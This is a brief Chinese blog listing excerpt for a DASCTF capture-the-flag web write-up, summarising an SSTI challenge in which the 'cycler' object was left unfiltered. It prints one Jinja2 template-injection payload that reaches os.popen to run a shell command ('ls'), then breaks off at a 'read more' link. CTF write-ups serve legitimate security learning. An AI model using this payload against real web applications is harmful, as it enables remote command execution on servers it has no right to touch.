2025年1月19日
DASCTF --wp--web
摘要： 1、Rank-lSsti的报错查询cycler没用被禁用，很常规的到达popen阶段{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}正常在浏览器中无法查看，使用pythonimpor 阅读全文
posted @ 2025-01-19 15:57 Elma-sorin 阅读(42) 评论(0) 推荐(0)